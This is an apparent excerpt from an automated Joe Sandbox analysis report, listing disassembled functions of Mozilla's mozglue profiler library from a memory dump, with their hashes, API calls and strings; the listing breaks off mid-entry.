Opcode Fuzzy Hash: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction Fuzzy Hash: AC42A472A187508BD305DE3CC891B5AF3E2BFC9354F0A872DE999A7790D734E9418781

Function 6C500512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2f3cd4e33fb6bbe21c3a0a888f81a15e568cb1439f9ec475f030d69026fd3d0a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 6C220671E04619CFDB14CF98C890AADF7B2FF89308F54859AD44AA7745D731A986CF80

Function 6C54AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction ID: 93c2e9b11f20a32c0f25a41f10fb7134b0e68c492a3fac5eec3e71711bf03715
Opcode Fuzzy Hash: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction Fuzzy Hash: 4AF137726087459FD740CE28CC807AEB7E6AFC5319F15CA3DE4D487781E77498898792

Function 6C4DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 3db0940278c151d6171303a0cb17ca70b8fb635cae8602f95b56aedbb0d49a1c
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 9FA1B371F0021A8FDB08DE69C891BAEB7F2AFC8355F198169E915E7781D7346C068BD0

Function 6C517710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction ID: aa3a02b1b3ff15dfdbd00da9a773a39bad4616183b7b6240c88c6d486085e0bc
Opcode Fuzzy Hash: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction Fuzzy Hash: AC716D75E052198FDF08CFA9C8945EEBBB2FF89354F24816ED815ABB40D731A905CB90

Function 6C51CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4E582D), ref: 6C51CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4E582D), ref: 6C51CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54FE98,?,?,?,?,?,6C4E582D), ref: 6C51CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C51CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C51CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C51CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C51CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C51CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C51CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C51CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C51CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C51CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C51CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C51CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C51CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C51CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C51CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C51CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C51CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C51CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C51CE8A

Strings

samplingallthreads, xrefs: 6C51CE2C
stackwalk, xrefs: 6C51CCF8
mainthreadio, xrefs: 6C51CC7C
notimerresolutionchange, xrefs: 6C51CE00
fileioall, xrefs: 6C51CCA8
unregisteredthreads, xrefs: 6C51CE58
power, xrefs: 6C51CE84
preferencereads, xrefs: 6C51CD92
Unrecognized feature "%s"., xrefs: 6C51CEA0
noiostacks, xrefs: 6C51CCBE
jsallocations, xrefs: 6C51CD0E
audiocallbacktracing, xrefs: 6C51CDD4
leaf, xrefs: 6C51CC66
seqstyle, xrefs: 6C51CCE6
default, xrefs: 6C51CC21
ipcmessages, xrefs: 6C51CDBE
java, xrefs: 6C51CC37
fileio, xrefs: 6C51CC92
nativeallocations, xrefs: 6C51CDA8
processcpu, xrefs: 6C51CE6E
nostacksampling, xrefs: 6C51CD7C
screenshots, xrefs: 6C51CCD4
cpuallthreads, xrefs: 6C51CE16
markersallthreads, xrefs: 6C51CE42

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction ID: 264b4a6e11670e5a3b84bca554bfc81176ef5f901ed56783c2c41cfea4986744
Opcode Fuzzy Hash: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction Fuzzy Hash: 7651A9F1A5D26552FA0171196D19BAA1405EFD334AF10883BED0BA1F80FB07FA1D86B7

Function 6C4E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E482D
__Init_thread_footer.LIBCMT ref: 6C4E484A

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4E485F
GetCurrentThreadId.KERNEL32 ref: 6C4E487E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E488B
free.MOZGLUE(?), ref: 6C4E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E4956
free.MOZGLUE(00000000), ref: 6C4E4960
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E499A

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

free.MOZGLUE(?), ref: 6C4E49C6
free.MOZGLUE(?), ref: 6C4E49E9

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E4812
[I %d/%d] profiler_shutdown, xrefs: 6C4E4A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4E4A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E4828

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction ID: bc32ad869a3fc813948ef1718eb681853037548ad8e45aa4265dd276f7652742
Opcode Fuzzy Hash: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction Fuzzy Hash: A681F571A00110CFDB00DFA8CC48F5A3775BF8A36AF960629D916A7F41D731E855CB9A

Function 6C4E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
Part of subcall function 6C4E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4E44D2
InitOnceExecuteOnce.KERNEL32(6C55F80C,6C4DF240,?,?), ref: 6C4E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E455C
LoadLibraryW.KERNEL32(?), ref: 6C4E4592
InitializeCriticalSection.KERNEL32(6C55F770), ref: 6C4E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4E45BB
InitOnceExecuteOnce.KERNEL32(6C55F818,6C4DF240,?,?), ref: 6C4E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E466D
VerSetConditionMask.NTDLL ref: 6C4E469F
VerSetConditionMask.NTDLL ref: 6C4E46AB
VerSetConditionMask.NTDLL ref: 6C4E46B2
VerSetConditionMask.NTDLL ref: 6C4E46B9
VerSetConditionMask.NTDLL ref: 6C4E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4E46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C4E46F7
kernel32.dll, xrefs: 6C4E44CD
WRusr.dll, xrefs: 6C4E44B5
l, xrefs: 6C4E4578
GUl, xrefs: 6C4E44FC
user32.dll, xrefs: 6C4E4557, 6C4E463F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GUl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1685291523
Opcode ID: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction ID: 34045ad6320e12c9c95d4a43c2abe66f66a09155707e4339070c463d5f5dd165
Opcode Fuzzy Hash: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction Fuzzy Hash: 7F6108B0A00344AFEB00EFA0CC09F957BF8EF4A34AF868659E5049BB41D7B59955CF94

Function 6C51F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C51F8F9

Part of subcall function 6C4E6390: GetCurrentThreadId.KERNEL32 ref: 6C4E63D0
Part of subcall function 6C4E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4E63DF
Part of subcall function 6C4E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4E640E

ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F93A
GetCurrentThreadId.KERNEL32 ref: 6C51F98A
GetCurrentThreadId.KERNEL32 ref: 6C51F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F716

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C4DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C51F739
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F746
GetCurrentThreadId.KERNEL32 ref: 6C51F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55385B,00000002,?,?,?,?,?), ref: 6C51F829
free.MOZGLUE(?,?,00000000,?), ref: 6C51F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C51F866
free.MOZGLUE(?), ref: 6C51FA0C

Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C
Part of subcall function 6C4E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
Part of subcall function 6C4E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F53
Part of subcall function 6C4E5E60: GetCurrentThread.KERNEL32 ref: 6C4E5F5C
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F66
Part of subcall function 6C4E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E

free.MOZGLUE(?), ref: 6C51F9C5
free.MOZGLUE(?), ref: 6C51F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C51F71F
Thread , xrefs: 6C51F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C51F9A6
" attempted to re-register as ", xrefs: 6C51F858

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction ID: de55df5fa2ba918e0d5ec4f1753462140a1cad23095b586e53a9f93daff6bc88
Opcode Fuzzy Hash: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction Fuzzy Hash: FD81D6716043049FDB10EF24CC44AAAB7A5EFC5308F95465DE84997B51EB31E849CBD2

Function 6C51EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EE60
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE6D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51EEA5
CloseHandle.KERNEL32(?), ref: 6C51EEB4
free.MOZGLUE(00000000), ref: 6C51EEBB
GetCurrentThreadId.KERNEL32 ref: 6C51EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EECF

Part of subcall function 6C51DE60: GetCurrentThreadId.KERNEL32 ref: 6C51DE73
Part of subcall function 6C51DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B
Part of subcall function 6C51DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
Part of subcall function 6C51DE60: free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
Part of subcall function 6C51DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51EF1E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF2B
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF59
GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C51F008
[I %d/%d] profiler_stop, xrefs: 6C51EED7

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction ID: 679b26b66f4111e87666dab46c03c264029b6d1082788409dd445c5b91d6b570
Opcode Fuzzy Hash: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction Fuzzy Hash: B951A435708210DFEB00AB65DC0C7A67BB4EB87328F96071AE915C3F81DBB55844C7AA

Function 6C50D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C50D047
